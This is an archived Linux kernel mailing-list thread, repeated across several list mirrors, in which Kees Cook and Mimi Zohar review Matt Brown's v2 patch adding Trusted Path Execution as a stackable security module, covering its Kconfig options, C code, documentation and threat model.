>> CONFIG_SECURITY_TPE applied. Otherwise, the user is trusted and the
>> checks are not applied. You can disable the trusted gid option by
>> setting it to 0. This makes all non-root users untrusted.
>>
>> CONFIG_SECURITY_TPE_STRICT (sysctl=kernel.tpe.strict)
>>
>> default: n
>>
>> This option applies another set of restrictions to all non-root users
>> even if they are trusted. This only allows execution under the
>> following conditions:
>>
>> * file is in a directory owned by the user that is not group or
>>   world-writable
>> * file is in a directory owned by root and writable only by root
>>
>> CONFIG_SECURITY_TPE_RESTRICT_ROOT (sysctl=kernel.tpe.restrict_root)
>>
>> default: n
>>
>> This option applies all enabled TPE restrictions to root.
>>
>> CONFIG_SECURITY_TPE_INVERT_GID (sysctl=kernel.tpe.invert_gid)
>>
>> default: n
>>
>> This option reverses the trust logic of the gid option and makes
>> kernel.tpe.gid into the untrusted group. This means that all other groups
>> become trusted. This sysctl is helpful when you want TPE restrictions
>> to be limited to a small subset of users.
>>
>> Signed-off-by: Matt Brown <matt@nmatt.com>
>> ---
>>  Documentation/security/tpe.txt |  59 +++++++++++
>>  MAINTAINERS                    |   5 +
>>  include/linux/lsm_hooks.h      |   5 +
>>  security/Kconfig               |   1 +
>>  security/Makefile              |   2 +
>>  security/security.c            |   1 +
>>  security/tpe/Kconfig           |  64 ++++++++++++
>>  security/tpe/Makefile          |   3 +
>>  security/tpe/tpe_lsm.c         | 218 +++++++++++++++++++++++++++++++++++++++++
>>  9 files changed, 358 insertions(+)
>>  create mode 100644 Documentation/security/tpe.txt
>>  create mode 100644 security/tpe/Kconfig
>>  create mode 100644 security/tpe/Makefile
>>  create mode 100644 security/tpe/tpe_lsm.c
>>
>> diff --git a/Documentation/security/tpe.txt b/Documentation/security/tpe.txt
>> new file mode 100644
>> index 0000000..226afcc
>> --- /dev/null
>> +++ b/Documentation/security/tpe.txt
>> @@ -0,0 +1,59 @@
>> [...]
>
> Yes, docs! I love it. :) One suggestion, though, all of the per-LSM
> docs were moved in -next from .txt to .rst files, and had index
> entries added, etc:
> https://patchwork.kernel.org/patch/9725165/
>
> Namely, move to Documentation/admin-guide/LSM/, add an entry to
> index.rst and format it using ReST:
> https://www.kernel.org/doc/html/latest/doc-guide/sphinx.html#writing-documentation
>

Will do :)

>> diff --git a/security/tpe/Kconfig b/security/tpe/Kconfig
>> new file mode 100644
>> index 0000000..a1b8f17
>> --- /dev/null
>> +++ b/security/tpe/Kconfig
>> @@ -0,0 +1,64 @@
>> +config SECURITY_TPE
>> +       bool "Trusted Path Execution (TPE)"
>> +       default n
>> +       help
>> +         If you say Y here, you will be able to choose a gid to add to the
>> +         supplementary groups of users you want to mark as "trusted."
>> +         Untrusted users will not be able to execute any files that are not in
>> +         root-owned directories writable only by root.  If the sysctl option
>> +         is enabled, a sysctl option with name "tpe.enabled" is created.
>> +
>> +config SECURITY_TPE_GID
>> +       int
>> +       default SECURITY_TPE_TRUSTED_GID if (SECURITY_TPE && !SECURITY_TPE_INVERT_GID)
>> +       default SECURITY_TPE_UNTRUSTED_GID if (SECURITY_TPE && SECURITY_TPE_INVERT_GID)
>
> I think this should have "depends on SECURITY_TPE" (like all the others).
>
>> [...]
>> diff --git a/security/tpe/tpe_lsm.c b/security/tpe/tpe_lsm.c
>> new file mode 100644
>> index 0000000..fda811a
>> --- /dev/null
>> +++ b/security/tpe/tpe_lsm.c
>> @@ -0,0 +1,218 @@
>> +/*
>> + * Trusted Path Execution Security Module
>> + *
>> + * Copyright (C) 2017 Matt Brown
>> + * Copyright (C) 2001-2014 Bradley Spengler, Open Source Security, Inc.
>> + * http://www.grsecurity.net spender@grsecurity.net
>> + * Copyright (C) 2011 Corey Henderson
>> + *
>> + * This program is free software; you can redistribute it and/or
>> + * modify it under the terms of the GNU General Public License version 2
>> + * as published by the Free Software Foundation.
>> + *
>> + * This program is distributed in the hope that it will be useful,
>> + * but WITHOUT ANY WARRANTY; without even the implied warranty of
>> + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
>> + * GNU General Public License for more details.
>> + *
>> + */
>> +#include <linux/kernel.h>
>> +#include <linux/uidgid.h>
>> +#include <linux/ratelimit.h>
>> +#include <linux/limits.h>
>> +#include <linux/cred.h>
>> +#include <linux/slab.h>
>> +#include <linux/lsm_hooks.h>
>> +#include <linux/sysctl.h>
>> +#include <linux/binfmts.h>
>> +#include <linux/string_helpers.h>
>> +#include <linux/dcache.h>
>> +#include <uapi/asm-generic/mman-common.h>
>> +
>> +#define global_root(x) uid_eq((x), GLOBAL_ROOT_UID)
>> +#define global_nonroot(x) (!uid_eq((x), GLOBAL_ROOT_UID))
>> +#define global_root_gid(x) (gid_eq((x), GLOBAL_ROOT_GID))
>> +#define global_nonroot_gid(x) (!gid_eq((x), GLOBAL_ROOT_GID))
>> +
>> +static int tpe_enabled __read_mostly = IS_ENABLED(CONFIG_SECURITY_TPE);
>> +static kgid_t tpe_gid __read_mostly = KGIDT_INIT(CONFIG_SECURITY_TPE_GID);
>> +static int tpe_invert_gid __read_mostly =
>> +       IS_ENABLED(CONFIG_SECURITY_TPE_INVERT_GID);
>> +static int tpe_strict __read_mostly = IS_ENABLED(CONFIG_SECURITY_TPE_STRICT);
>> +static int tpe_restrict_root __read_mostly =
>> +       IS_ENABLED(CONFIG_SECURITY_TPE_RESTRICT_ROOT);
>> +
>> +int print_tpe_error(struct file *file, char *reason1, char *reason2,
>> +       char *method)
>
> I think these char * can all be const char *.
>
>> +{
>> +       char *filepath;
>> +
>> +       filepath = kstrdup_quotable_file(file, GFP_KERNEL);
>> +
>> +       if (!filepath)
>> +               return -ENOMEM;
>> +
>> +       pr_warn_ratelimited("TPE: Denied %s of %s Reason: %s%s%s\n", method,
>> +               (IS_ERR(filepath) ? "failed fetching file path" : filepath),
>> +               reason1, reason2 ? " and " : "", reason2 ?: "");
>> +       kfree(filepath);
>> +       return -EPERM;
>> +}
>> +
>> +static int tpe_check(struct file *file, char *method)
>
> This char * can be const char *.
>
>> +{
>> +       struct inode *inode;
>> +       struct inode *file_inode;
>> +       struct dentry *dir;
>> +       const struct cred *cred = current_cred();
>> +       char *reason1 = NULL;
>> +       char *reason2 = NULL;
>
> Perhaps check file argument for NULL here instead of each caller?
>
>> +
>> +       dir = dget_parent(file->f_path.dentry);
>> +       inode = d_backing_inode(dir);
>> +       file_inode = d_backing_inode(file->f_path.dentry);
>> +
>> +       if (!tpe_enabled)
>> +               return 0;
>> +
>> +       /* never restrict root unless restrict_root sysctl is 1*/
>> +       if (global_root(cred->uid) && !tpe_restrict_root)
>> +               return 0;
>> +
>> +       if (!tpe_strict)
>> +               goto general_tpe_check;
>
> This kind of use of goto tells me the code sections need to be
> separate functions. i.e. tpe_check_strict() for the bit below before
> general_tpe_check:
>
>> +
>> +       /* TPE_STRICT: restrictions enforced even if the gid is trusted */
>> +       if (global_nonroot(inode->i_uid) && !uid_eq(inode->i_uid, cred->uid))
>> +               reason1 = "directory not owned by user";
>> +       else if (inode->i_mode & 0002)
>> +               reason1 = "file in world-writable directory";
>> +       else if ((inode->i_mode & 0020) && global_nonroot_gid(inode->i_gid))
>> +               reason1 = "file in group-writable directory";
>> +       else if (file_inode->i_mode & 0002)
>> +               reason1 = "file is world-writable";
>> +
>> +       if (reason1)
>> +               goto end;
>
> struct tpe_rationale {
>     const char *reason1;
>     const char *reason2;
> };
>
> bool tpe_check_strict(...)
> {
>     if (!tpe_strict);
>         return false;
>     ...
>     return rationale->reason1 != NULL;
> }
>
> static int tpe_check(...)
> {
>     ...
>     struct tpe_rationale rationale= { };
>
>     if (tpe_check_strict(inode, cred, &rationale))
>         goto end;
> ...
>
>> +general_tpe_check:
>> +       /* determine if group is trusted */
>> +       if (global_root_gid(tpe_gid))
>> +               goto next_check;
>> +       if (!tpe_invert_gid && !in_group_p(tpe_gid))
>> +               reason2 = "not in trusted group";
>> +       else if (tpe_invert_gid && in_group_p(tpe_gid))
>> +               reason2 = "in untrusted group";
>> +       else
>> +               return 0;
>
> (This return 0 currently leaks the dget that is put at the end label.
> Ah, yes, already pointed out I see now in later reply in thread.)
>
>     if (tpe_check_general(inode, cred, &rationale))
>         goto end;
>
> bool tpe_check_general(...)
> {
>     if (!global_root_gid(tpe_gid)) {
>          rationale->reason1 = NULL;
>          return true;
>     }
>     ...
> }
>
>> +
>> +next_check:
>> +       /* main TPE checks */
>> +       if (global_nonroot(inode->i_uid))
>> +               reason1 = "file in non-root-owned directory";
>> +       else if (inode->i_mode & 0002)
>> +               reason1 = "file in world-writable directory";
>> +       else if ((inode->i_mode & 0020) && global_nonroot_gid(inode->i_gid))
>> +               reason1 = "file in group-writable directory";
>> +       else if (file_inode->i_mode & 0002)
>> +               reason1 = "file is world-writable";
>
>     tpe_check_main(inode, cred, &rationale);
>
>> +
>> +end:
>> +       dput(dir);
>> +       if (reason1)
>> +               return print_tpe_error(file, reason1, reason2, method);
>> +       else
>> +               return 0;
>
> And the end part above stays.
>
>> +}
>> +
>> +int tpe_mmap_file(struct file *file, unsigned long reqprot,
>> +       unsigned long prot, unsigned long flags)
>> +{
>> +       if (!file || !(prot & PROT_EXEC))
>> +               return 0;
>> +
>> +       return tpe_check(file, "mmap");
>> +}
>> +
>> +int tpe_file_mprotect(struct vm_area_struct *vma, unsigned long reqprot,
>> +       unsigned long prot)
>> +{
>> +       if (!vma->vm_file)
>
> No examination of reqprot vs prot here?
>

opps you're right. Would I just need to check (reqprot & PROT_EXEC) or
do I need to check (prot & PROT_EXEC) as well? Would the kernel ever
try to set PROT_EXEC if the application didn't ask for it?

>> +               return 0;
>> +       return tpe_check(vma->vm_file, "mprotect");
>> +}
>> +
>> +static int tpe_bprm_set_creds(struct linux_binprm *bprm)
>> +{
>> +       if (!bprm->file)
>> +               return 0;
>> +       return tpe_check(bprm->file, "exec");
>> +
>> +}
>> +
>> +static struct security_hook_list tpe_hooks[] = {
>> +       LSM_HOOK_INIT(mmap_file, tpe_mmap_file),
>> +       LSM_HOOK_INIT(file_mprotect, tpe_file_mprotect),
>> +       LSM_HOOK_INIT(bprm_set_creds, tpe_bprm_set_creds),
>> +};
>> +
>> +#ifdef CONFIG_SYSCTL
>> +struct ctl_path tpe_sysctl_path[] = {
>> +       { .procname = "kernel", },
>> +       { .procname = "tpe", },
>> +       { }
>> +};
>> +
>> +static struct ctl_table tpe_sysctl_table[] = {
>> +       {
>> +               .procname       = "enabled",
>> +               .data           = &tpe_enabled,
>> +               .maxlen         = sizeof(int),
>> +               .mode           = 0600,
>> +               .proc_handler   = proc_dointvec,
>> +       },
>> +       {
>> +               .procname       = "gid",
>> +               .data           = &tpe_gid,
>> +               .maxlen         = sizeof(int),
>> +               .mode           = 0600,
>> +               .proc_handler   = proc_dointvec,
>> +       },
>> +       {
>> +               .procname       = "invert_gid",
>> +               .data           = &tpe_invert_gid,
>> +               .maxlen         = sizeof(int),
>> +               .mode           = 0600,
>> +               .proc_handler   = proc_dointvec,
>> +       },
>> +       {
>> +               .procname       = "strict",
>> +               .data           = &tpe_strict,
>> +               .maxlen         = sizeof(int),
>> +               .mode           = 0600,
>> +               .proc_handler   = proc_dointvec,
>> +       },
>> +       {
>> +               .procname       = "restrict_root",
>> +               .data           = &tpe_restrict_root,
>> +               .maxlen         = sizeof(int),
>> +               .mode           = 0600,
>> +               .proc_handler   = proc_dointvec,
>> +       },
>> +       { }
>> +};
>> +static void __init tpe_init_sysctl(void)
>> +{
>> +       if (!register_sysctl_paths(tpe_sysctl_path, tpe_sysctl_table))
>> +               panic("TPE: sysctl registration failed.\n");
>> +}
>> +#else
>> +static inline void tpe_init_sysctl(void) { }
>> +#endif /* CONFIG_SYSCTL */
>> +
>> +void __init tpe_add_hooks(void)
>> +{
>> +       pr_info("TPE: securing systems like it's 1998\n");
>
> :)
>
>> +       security_add_hooks(tpe_hooks, ARRAY_SIZE(tpe_hooks), "tpe");
>> +       tpe_init_sysctl();
>> +}
>> --
>> 2.10.2
>>
>
> -Kees
>

I agree with all the suggested changes above and will have them soon in
v3.

Thanks for the review,
Matt

[PATCH v2 1/1] Add Trusted Path Execution as a stackable LSM

[Matt Brown]

On 06/08/2017 10:38 PM, Kees Cook wrote:
> On Wed, Jun 7, 2017 at 8:43 PM, Matt Brown <matt@nmatt.com> wrote:
>> This patch was modified from Brad Spengler's Trusted Path Execution (TPE)
>> feature. It also adds features and config options that were found in Corey
>> Henderson's tpe-lkm project.
>>
>> Modifications from Brad Spengler's implementation of TPE were made to
>> turn it into a stackable LSM using the existing LSM hook bprm_set_creds.
>> Also, a new denial logging function was used to simplify printing messages
>> to the kernel log. Additionally, mmap and mprotect restrictions were
>> taken from Corey Henderson's tpe-lkm project and implemented using the
>> LSM hooks mmap_file and file_mprotect.
>>
>> Trusted Path Execution is not a new idea:
>>
>> http://phrack.org/issues/52/6.html#article
>>
>> | A trusted path is one that is inside a root owned directory that
>> | is not group or world writable.  /bin, /usr/bin, /usr/local/bin, are
>> | (under normal circumstances) considered trusted.  Any non-root
>> | users home directory is not trusted, nor is /tmp.
>>
>> To be clear, Trusted Path Execution is no replacement for a MAC system
>> like SELinux, SMACK, or AppArmor. This LSM is designed to be good enough
>> without requiring a userland utility to configure policies. The fact
>> that TPE only requires the user to turn on a few sysctl options lowers
>> the barrier to implementing a security framework substantially.
>>
>> Threat Models:
>>
>> 1. Attacker on system executing exploit on system vulnerability
>>
>> *  If attacker uses a binary as a part of their system exploit, TPE can
>>    frustrate their efforts
>>
>> *  This protection can be more effective when an attacker does not yet
>>    have an interactive shell on a system
>>
>> *  Issues:
>>    *  Can be bypassed by interpreted languages such as python. You can run
>>       malicious code by doing: python -c 'evil code'
>
> What's the recommendation for people interested in using TPE but
> having interpreters installed?
>

If you don't need a given interpreter installed, uninstall it. While
this is common sense system hardening it especially would make a
difference under the TPE threat model.

I don't have a knock down answer for this. Interpreters are a hard
problem for TPE.

>>
>> 2. Attacker on system replaces binary used by a privileged user with a
>>    malicious one
>>
>> *  This situation arises when the administrator of a system leaves a
>>    binary as world writable.
>>
>> *  TPE is very effective against this threat model
>>
>> This Trusted Path Execution implementation introduces the following
>> Kconfig options and sysctls. The Kconfig text and sysctl options are
>> taken heavily from Brad Spengler's implementation. Some extra sysctl
>> options were taken from Corey Henderson's implementation.
>>
>> CONFIG_SECURITY_TPE (sysctl=kernel.tpe.enabled)
>>
>> default: n
>>
>> This option enables Trusted Path Execution. TPE blocks *untrusted*
>> users from executing files that meet the following conditions:
>>
>> * file is not in a root-owned directory
>> * file is writable by a user other than root
>>
>> NOTE: By default root is not restricted by TPE.
>>
>> CONFIG_SECURITY_TPE_GID (sysctl=kernel.tpe.gid)
>>
>> default: 0
>>
>> This option defines a group id that, by default, is the trusted group.
>> If a user is not trusted then it has the checks described in
>> CONFIG_SECURITY_TPE applied. Otherwise, the user is trusted and the
>> checks are not applied. You can disable the trusted gid option by
>> setting it to 0. This makes all non-root users untrusted.
>>
>> CONFIG_SECURITY_TPE_STRICT (sysctl=kernel.tpe.strict)
>>
>> default: n
>>
>> This option applies another set of restrictions to all non-root users
>> even if they are trusted. This only allows execution under the
>> following conditions:
>>
>> * file is in a directory owned by the user that is not group or
>>   world-writable
>> * file is in a directory owned by root and writable only by root
>>
>> CONFIG_SECURITY_TPE_RESTRICT_ROOT (sysctl=kernel.tpe.restrict_root)
>>
>> default: n
>>
>> This option applies all enabled TPE restrictions to root.
>>
>> CONFIG_SECURITY_TPE_INVERT_GID (sysctl=kernel.tpe.invert_gid)
>>
>> default: n
>>
>> This option reverses the trust logic of the gid option and makes
>> kernel.tpe.gid into the untrusted group. This means that all other groups
>> become trusted. This sysctl is helpful when you want TPE restrictions
>> to be limited to a small subset of users.
>>
>> Signed-off-by: Matt Brown <matt@nmatt.com>
>> ---
>>  Documentation/security/tpe.txt |  59 +++++++++++
>>  MAINTAINERS                    |   5 +
>>  include/linux/lsm_hooks.h      |   5 +
>>  security/Kconfig               |   1 +
>>  security/Makefile              |   2 +
>>  security/security.c            |   1 +
>>  security/tpe/Kconfig           |  64 ++++++++++++
>>  security/tpe/Makefile          |   3 +
>>  security/tpe/tpe_lsm.c         | 218 +++++++++++++++++++++++++++++++++++++++++
>>  9 files changed, 358 insertions(+)
>>  create mode 100644 Documentation/security/tpe.txt
>>  create mode 100644 security/tpe/Kconfig
>>  create mode 100644 security/tpe/Makefile
>>  create mode 100644 security/tpe/tpe_lsm.c
>>
>> diff --git a/Documentation/security/tpe.txt b/Documentation/security/tpe.txt
>> new file mode 100644
>> index 0000000..226afcc
>> --- /dev/null
>> +++ b/Documentation/security/tpe.txt
>> @@ -0,0 +1,59 @@
>> [...]
>
> Yes, docs! I love it. :) One suggestion, though, all of the per-LSM
> docs were moved in -next from .txt to .rst files, and had index
> entries added, etc:
> https://patchwork.kernel.org/patch/9725165/
>
> Namely, move to Documentation/admin-guide/LSM/, add an entry to
> index.rst and format it using ReST:
> https://www.kernel.org/doc/html/latest/doc-guide/sphinx.html#writing-documentation
>

Will do :)

>> diff --git a/security/tpe/Kconfig b/security/tpe/Kconfig
>> new file mode 100644
>> index 0000000..a1b8f17
>> --- /dev/null
>> +++ b/security/tpe/Kconfig
>> @@ -0,0 +1,64 @@
>> +config SECURITY_TPE
>> +       bool "Trusted Path Execution (TPE)"
>> +       default n
>> +       help
>> +         If you say Y here, you will be able to choose a gid to add to the
>> +         supplementary groups of users you want to mark as "trusted."
>> +         Untrusted users will not be able to execute any files that are not in
>> +         root-owned directories writable only by root.  If the sysctl option
>> +         is enabled, a sysctl option with name "tpe.enabled" is created.
>> +
>> +config SECURITY_TPE_GID
>> +       int
>> +       default SECURITY_TPE_TRUSTED_GID if (SECURITY_TPE && !SECURITY_TPE_INVERT_GID)
>> +       default SECURITY_TPE_UNTRUSTED_GID if (SECURITY_TPE && SECURITY_TPE_INVERT_GID)
>
> I think this should have "depends on SECURITY_TPE" (like all the others).
>
>> [...]
>> diff --git a/security/tpe/tpe_lsm.c b/security/tpe/tpe_lsm.c
>> new file mode 100644
>> index 0000000..fda811a
>> --- /dev/null
>> +++ b/security/tpe/tpe_lsm.c
>> @@ -0,0 +1,218 @@
>> +/*
>> + * Trusted Path Execution Security Module
>> + *
>> + * Copyright (C) 2017 Matt Brown
>> + * Copyright (C) 2001-2014 Bradley Spengler, Open Source Security, Inc.
>> + * http://www.grsecurity.net spender at grsecurity.net
>> + * Copyright (C) 2011 Corey Henderson
>> + *
>> + * This program is free software; you can redistribute it and/or
>> + * modify it under the terms of the GNU General Public License version 2
>> + * as published by the Free Software Foundation.
>> + *
>> + * This program is distributed in the hope that it will be useful,
>> + * but WITHOUT ANY WARRANTY; without even the implied warranty of
>> + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
>> + * GNU General Public License for more details.
>> + *
>> + */
>> +#include <linux/kernel.h>
>> +#include <linux/uidgid.h>
>> +#include <linux/ratelimit.h>
>> +#include <linux/limits.h>
>> +#include <linux/cred.h>
>> +#include <linux/slab.h>
>> +#include <linux/lsm_hooks.h>
>> +#include <linux/sysctl.h>
>> +#include <linux/binfmts.h>
>> +#include <linux/string_helpers.h>
>> +#include <linux/dcache.h>
>> +#include <uapi/asm-generic/mman-common.h>
>> +
>> +#define global_root(x) uid_eq((x), GLOBAL_ROOT_UID)
>> +#define global_nonroot(x) (!uid_eq((x), GLOBAL_ROOT_UID))
>> +#define global_root_gid(x) (gid_eq((x), GLOBAL_ROOT_GID))
>> +#define global_nonroot_gid(x) (!gid_eq((x), GLOBAL_ROOT_GID))
>> +
>> +static int tpe_enabled __read_mostly = IS_ENABLED(CONFIG_SECURITY_TPE);
>> +static kgid_t tpe_gid __read_mostly = KGIDT_INIT(CONFIG_SECURITY_TPE_GID);
>> +static int tpe_invert_gid __read_mostly =
>> +       IS_ENABLED(CONFIG_SECURITY_TPE_INVERT_GID);
>> +static int tpe_strict __read_mostly = IS_ENABLED(CONFIG_SECURITY_TPE_STRICT);
>> +static int tpe_restrict_root __read_mostly =
>> +       IS_ENABLED(CONFIG_SECURITY_TPE_RESTRICT_ROOT);
>> +
>> +int print_tpe_error(struct file *file, char *reason1, char *reason2,
>> +       char *method)
>
> I think these char * can all be const char *.
>
>> +{
>> +       char *filepath;
>> +
>> +       filepath = kstrdup_quotable_file(file, GFP_KERNEL);
>> +
>> +       if (!filepath)
>> +               return -ENOMEM;
>> +
>> +       pr_warn_ratelimited("TPE: Denied %s of %s Reason: %s%s%s\n", method,
>> +               (IS_ERR(filepath) ? "failed fetching file path" : filepath),
>> +               reason1, reason2 ? " and " : "", reason2 ?: "");
>> +       kfree(filepath);
>> +       return -EPERM;
>> +}
>> +
>> +static int tpe_check(struct file *file, char *method)
>
> This char * can be const char *.
>
>> +{
>> +       struct inode *inode;
>> +       struct inode *file_inode;
>> +       struct dentry *dir;
>> +       const struct cred *cred = current_cred();
>> +       char *reason1 = NULL;
>> +       char *reason2 = NULL;
>
> Perhaps check file argument for NULL here instead of each caller?
>
>> +
>> +       dir = dget_parent(file->f_path.dentry);
>> +       inode = d_backing_inode(dir);
>> +       file_inode = d_backing_inode(file->f_path.dentry);
>> +
>> +       if (!tpe_enabled)
>> +               return 0;
>> +
>> +       /* never restrict root unless restrict_root sysctl is 1*/
>> +       if (global_root(cred->uid) && !tpe_restrict_root)
>> +               return 0;
>> +
>> +       if (!tpe_strict)
>> +               goto general_tpe_check;
>
> This kind of use of goto tells me the code sections need to be
> separate functions. i.e. tpe_check_strict() for the bit below before
> general_tpe_check:
>
>> +
>> +       /* TPE_STRICT: restrictions enforced even if the gid is trusted */
>> +       if (global_nonroot(inode->i_uid) && !uid_eq(inode->i_uid, cred->uid))
>> +               reason1 = "directory not owned by user";
>> +       else if (inode->i_mode & 0002)
>> +               reason1 = "file in world-writable directory";
>> +       else if ((inode->i_mode & 0020) && global_nonroot_gid(inode->i_gid))
>> +               reason1 = "file in group-writable directory";
>> +       else if (file_inode->i_mode & 0002)
>> +               reason1 = "file is world-writable";
>> +
>> +       if (reason1)
>> +               goto end;
>
> struct tpe_rationale {
>     const char *reason1;
>     const char *reason2;
> };
>
> bool tpe_check_strict(...)
> {
>     if (!tpe_strict);
>         return false;
>     ...
>     return rationale->reason1 != NULL;
> }
>
> static int tpe_check(...)
> {
>     ...
>     struct tpe_rationale rationale= { };
>
>     if (tpe_check_strict(inode, cred, &rationale))
>         goto end;
> ...
>
>> +general_tpe_check:
>> +       /* determine if group is trusted */
>> +       if (global_root_gid(tpe_gid))
>> +               goto next_check;
>> +       if (!tpe_invert_gid && !in_group_p(tpe_gid))
>> +               reason2 = "not in trusted group";
>> +       else if (tpe_invert_gid && in_group_p(tpe_gid))
>> +               reason2 = "in untrusted group";
>> +       else
>> +               return 0;
>
> (This return 0 currently leaks the dget that is put at the end label.
> Ah, yes, already pointed out I see now in later reply in thread.)
>
>     if (tpe_check_general(inode, cred, &rationale))
>         goto end;
>
> bool tpe_check_general(...)
> {
>     if (!global_root_gid(tpe_gid)) {
>          rationale->reason1 = NULL;
>          return true;
>     }
>     ...
> }
>
>> +
>> +next_check:
>> +       /* main TPE checks */
>> +       if (global_nonroot(inode->i_uid))
>> +               reason1 = "file in non-root-owned directory";
>> +       else if (inode->i_mode & 0002)
>> +               reason1 = "file in world-writable directory";
>> +       else if ((inode->i_mode & 0020) && global_nonroot_gid(inode->i_gid))
>> +               reason1 = "file in group-writable directory";
>> +       else if (file_inode->i_mode & 0002)
>> +               reason1 = "file is world-writable";
>
>     tpe_check_main(inode, cred, &rationale);
>
>> +
>> +end:
>> +       dput(dir);
>> +       if (reason1)
>> +               return print_tpe_error(file, reason1, reason2, method);
>> +       else
>> +               return 0;
>
> And the end part above stays.
>
>> +}
>> +
>> +int tpe_mmap_file(struct file *file, unsigned long reqprot,
>> +       unsigned long prot, unsigned long flags)
>> +{
>> +       if (!file || !(prot & PROT_EXEC))
>> +               return 0;
>> +
>> +       return tpe_check(file, "mmap");
>> +}
>> +
>> +int tpe_file_mprotect(struct vm_area_struct *vma, unsigned long reqprot,
>> +       unsigned long prot)
>> +{
>> +       if (!vma->vm_file)
>
> No examination of reqprot vs prot here?
>

opps you're right. Would I just need to check (reqprot & PROT_EXEC) or
do I need to check (prot & PROT_EXEC) as well? Would the kernel ever
try to set PROT_EXEC if the application didn't ask for it?

>> +               return 0;
>> +       return tpe_check(vma->vm_file, "mprotect");
>> +}
>> +
>> +static int tpe_bprm_set_creds(struct linux_binprm *bprm)
>> +{
>> +       if (!bprm->file)
>> +               return 0;
>> +       return tpe_check(bprm->file, "exec");
>> +
>> +}
>> +
>> +static struct security_hook_list tpe_hooks[] = {
>> +       LSM_HOOK_INIT(mmap_file, tpe_mmap_file),
>> +       LSM_HOOK_INIT(file_mprotect, tpe_file_mprotect),
>> +       LSM_HOOK_INIT(bprm_set_creds, tpe_bprm_set_creds),
>> +};
>> +
>> +#ifdef CONFIG_SYSCTL
>> +struct ctl_path tpe_sysctl_path[] = {
>> +       { .procname = "kernel", },
>> +       { .procname = "tpe", },
>> +       { }
>> +};
>> +
>> +static struct ctl_table tpe_sysctl_table[] = {
>> +       {
>> +               .procname       = "enabled",
>> +               .data           = &tpe_enabled,
>> +               .maxlen         = sizeof(int),
>> +               .mode           = 0600,
>> +               .proc_handler   = proc_dointvec,
>> +       },
>> +       {
>> +               .procname       = "gid",
>> +               .data           = &tpe_gid,
>> +               .maxlen         = sizeof(int),
>> +               .mode           = 0600,
>> +               .proc_handler   = proc_dointvec,
>> +       },
>> +       {
>> +               .procname       = "invert_gid",
>> +               .data           = &tpe_invert_gid,
>> +               .maxlen         = sizeof(int),
>> +               .mode           = 0600,
>> +               .proc_handler   = proc_dointvec,
>> +       },
>> +       {
>> +               .procname       = "strict",
>> +               .data           = &tpe_strict,
>> +               .maxlen         = sizeof(int),
>> +               .mode           = 0600,
>> +               .proc_handler   = proc_dointvec,
>> +       },
>> +       {
>> +               .procname       = "restrict_root",
>> +               .data           = &tpe_restrict_root,
>> +               .maxlen         = sizeof(int),
>> +               .mode           = 0600,
>> +               .proc_handler   = proc_dointvec,
>> +       },
>> +       { }
>> +};
>> +static void __init tpe_init_sysctl(void)
>> +{
>> +       if (!register_sysctl_paths(tpe_sysctl_path, tpe_sysctl_table))
>> +               panic("TPE: sysctl registration failed.\n");
>> +}
>> +#else
>> +static inline void tpe_init_sysctl(void) { }
>> +#endif /* CONFIG_SYSCTL */
>> +
>> +void __init tpe_add_hooks(void)
>> +{
>> +       pr_info("TPE: securing systems like it's 1998\n");
>
> :)
>
>> +       security_add_hooks(tpe_hooks, ARRAY_SIZE(tpe_hooks), "tpe");
>> +       tpe_init_sysctl();
>> +}
>> --
>> 2.10.2
>>
>
> -Kees
>

I agree with all the suggested changes above and will have them soon in
v3.

Thanks for the review,
Matt
--
To unsubscribe from this list: send the line "unsubscribe linux-security-module" in
the body of a message to majordomo at vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html

[kernel-hardening] Re: [PATCH v2 1/1] Add Trusted Path Execution as a stackable LSM

[Mimi Zohar]

On Thu, 2017-06-08 at 23:50 -0400, Matt Brown wrote:
> >>
> >> *  Issues:
> >>    *  Can be bypassed by interpreted languages such as python. You can run
> >>       malicious code by doing: python -c 'evil code'
> >
> > What's the recommendation for people interested in using TPE but
> > having interpreters installed?
> >
> 
> If you don't need a given interpreter installed, uninstall it. While
> this is common sense system hardening it especially would make a
> difference under the TPE threat model.
> 
> I don't have a knock down answer for this. Interpreters are a hard
> problem for TPE.

You might be interested in the minor LSM named "shebang", that I
posted as a proof of concept back in January, which restricts the
python interactive prompt/interpreter, but allows the scripts
themselves to be executed.

Mimi

Re: [PATCH v2 1/1] Add Trusted Path Execution as a stackable LSM

[Mimi Zohar]

On Thu, 2017-06-08 at 23:50 -0400, Matt Brown wrote:
> >>
> >> *  Issues:
> >>    *  Can be bypassed by interpreted languages such as python. You can run
> >>       malicious code by doing: python -c 'evil code'
> >
> > What's the recommendation for people interested in using TPE but
> > having interpreters installed?
> >
> 
> If you don't need a given interpreter installed, uninstall it. While
> this is common sense system hardening it especially would make a
> difference under the TPE threat model.
> 
> I don't have a knock down answer for this. Interpreters are a hard
> problem for TPE.

You might be interested in the minor LSM named "shebang", that I
posted as a proof of concept back in January, which restricts the
python interactive prompt/interpreter, but allows the scripts
themselves to be executed.

Mimi

[PATCH v2 1/1] Add Trusted Path Execution as a stackable LSM

[Mimi Zohar]

On Thu, 2017-06-08 at 23:50 -0400, Matt Brown wrote:
> >>
> >> *? Issues:
> >>??? *? Can be bypassed by interpreted languages such as python. You can run
> >>?????? malicious code by doing: python -c 'evil code'
> >
> > What's the recommendation for people interested in using TPE but
> > having interpreters installed?
> >
> 
> If you don't need a given interpreter installed, uninstall it. While
> this is common sense system hardening it especially would make a
> difference under the TPE threat model.
> 
> I don't have a knock down answer for this. Interpreters are a hard
> problem for TPE.

You might be interested in the minor LSM named "shebang", that I
posted as a proof of concept back in January, which restricts the
python interactive prompt/interpreter, but allows the scripts
themselves to be executed.

Mimi

--
To unsubscribe from this list: send the line "unsubscribe linux-security-module" in
the body of a message to majordomo at vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html

[kernel-hardening] Re: [PATCH v2 1/1] Add Trusted Path Execution as a stackable LSM

[Kees Cook]

On Fri, Jun 9, 2017 at 3:18 AM, Mimi Zohar <zohar@linux.vnet.ibm.com> wrote:
> On Thu, 2017-06-08 at 23:50 -0400, Matt Brown wrote:
>> >>
>> >> *  Issues:
>> >>    *  Can be bypassed by interpreted languages such as python. You can run
>> >>       malicious code by doing: python -c 'evil code'
>> >
>> > What's the recommendation for people interested in using TPE but
>> > having interpreters installed?
>> >
>>
>> If you don't need a given interpreter installed, uninstall it. While
>> this is common sense system hardening it especially would make a
